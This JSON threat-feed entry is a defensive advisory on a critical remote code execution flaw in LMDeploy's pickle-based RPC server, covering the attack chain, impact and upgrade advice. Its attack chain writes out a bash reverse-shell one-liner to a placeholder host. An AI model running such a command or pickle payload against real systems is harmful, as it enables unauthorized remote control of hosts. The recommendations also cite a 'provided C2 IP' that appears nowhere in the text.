{"description":"Trending threats, MITRE ATT\u0026CK coverage, and detection metadata. Fed continuously.","favicon":"https://feed.craftedsignal.io/favicon-32x32.png","feed_url":"https://feed.craftedsignal.io/cpes/cpe2.3ainterlmlmdeploy0.10.1/feed.json","home_page_url":"https://feed.craftedsignal.io/","icon":"https://feed.craftedsignal.io/apple-touch-icon.png","items":[{"_cs_actors":[],"_cs_cpes":["cpe:2.3:a:interlm:lmdeploy:0.9.1:*:*:*:*:*:*:*","cpe:2.3:a:interlm:lmdeploy:0.10.1:*:*:*:*:*:*:*"],"_cs_cves":[{"cvss":9.8,"id":"CVE-2025-59953"}],"_cs_exploited":false,"_cs_has_poc":false,"_cs_poc_references":[],"_cs_products":["lmdeploy (0.9.1 - 0.10.1)"],"_cs_severities":["critical"],"_cs_tags":[],"_cs_type":"advisory","_cs_vendors":["InterLM"],"content_html":"\u003cp\u003eLMDeploy, a toolkit for compressing and deploying Large Language Models, contains a critical remote code execution vulnerability (CVE-2025-59953) affecting versions 0.9.1 through 0.10.1. The vulnerability exists within the AsyncRPCServer component, which implements an RPC mechanism using ZMQ. The server uses \u003ccode\u003epickle.loads()\u003c/code\u003e to deserialize incoming RPC messages without sanitization. Because versions prior to 0.10.2 bound the RPC service to all network interfaces (\u003ccode\u003etcp://*\u003c/code\u003e), a remote attacker capable of reaching the randomly assigned RPC port can submit a malicious pickle payload. Successful exploitation results in arbitrary command execution on the host machine. Version 0.10.2 addressed the remote exposure by defaulting the RPC server binding to localhost, though the underlying use of insecure pickle deserialization remains, requiring local security isolation.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker performs network reconnaissance to identify reachable LMDeploy RPC service ports on the target machine.\u003c/li\u003e\n\u003cli\u003eAttacker crafts a malicious pickle payload containing an arbitrary system command, such as a reverse shell trigger (e.g., \u003ccode\u003ebash -c 'bash -i \u0026gt;\u0026amp; /dev/tcp/[IP]/[PORT] 0\u0026gt;\u0026amp;1'\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eAttacker initiates a ZMQ connection to the target RPC service port.\u003c/li\u003e\n\u003cli\u003eAttacker sends the crafted pickle-encoded data via the \u003ccode\u003ecall_and_response()\u003c/code\u003e function interface.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003eAsyncRPCServer\u003c/code\u003e receives the payload and passes it directly to \u003ccode\u003epickle.loads()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe Python interpreter deserializes the malicious object, triggering the execution of the embedded system command.\u003c/li\u003e\n\u003cli\u003eAttacker receives the reverse shell connection, granting full command execution capabilities on the host.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eThe vulnerability allows unauthenticated remote attackers to achieve full system compromise. If the LMDeploy service is running with elevated privileges, the impact includes total control over the host machine, potential lateral movement within the network, and data exfiltration. The threat is critical for organizations deploying LMDeploy in production environments where the RPC service was inadvertently exposed to broader networks.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eUpgrade all instances of LMDeploy to version 0.10.2 or later to address the remote exposure issue.\u003c/li\u003e\n\u003cli\u003eFor environments where upgrading is not immediately possible, implement firewall rules to restrict access to the RPC ports to authorized local processes only.\u003c/li\u003e\n\u003cli\u003eIf LMDeploy is required to interact across network boundaries, implement external authentication and encryption layers, as the current RPC protocol lacks native access control.\u003c/li\u003e\n\u003cli\u003ePerform a threat hunt for unexpected network connections to LMDeploy processes using the provided C2 IP as a starting point.\u003c/li\u003e\n\u003c/ol\u003e\n","date_modified":"2026-09-16T19:07:09Z","date_published":"2026-09-16T19:07:09Z","id":"https://feed.craftedsignal.io/briefs/2026-09-lmdeploy-rce/","summary":"LMDeploy versions 0.9.1 through 0.10.1 are vulnerable to remote code execution due to insecure pickle deserialization within the AsyncRPCServer component, allowing attackers to execute arbitrary system commands.","title":"Remote Code Execution in LMDeploy via Insecure Pickle Deserialization","url":"https://feed.craftedsignal.io/briefs/2026-09-lmdeploy-rce/"}],"language":"en","title":"CraftedSignal Threat Feed - Cpe:2.3:a:interlm:lmdeploy:0.10.1:*:*:*:*:*:*:*","version":"https://jsonfeed.org/version/1.1"}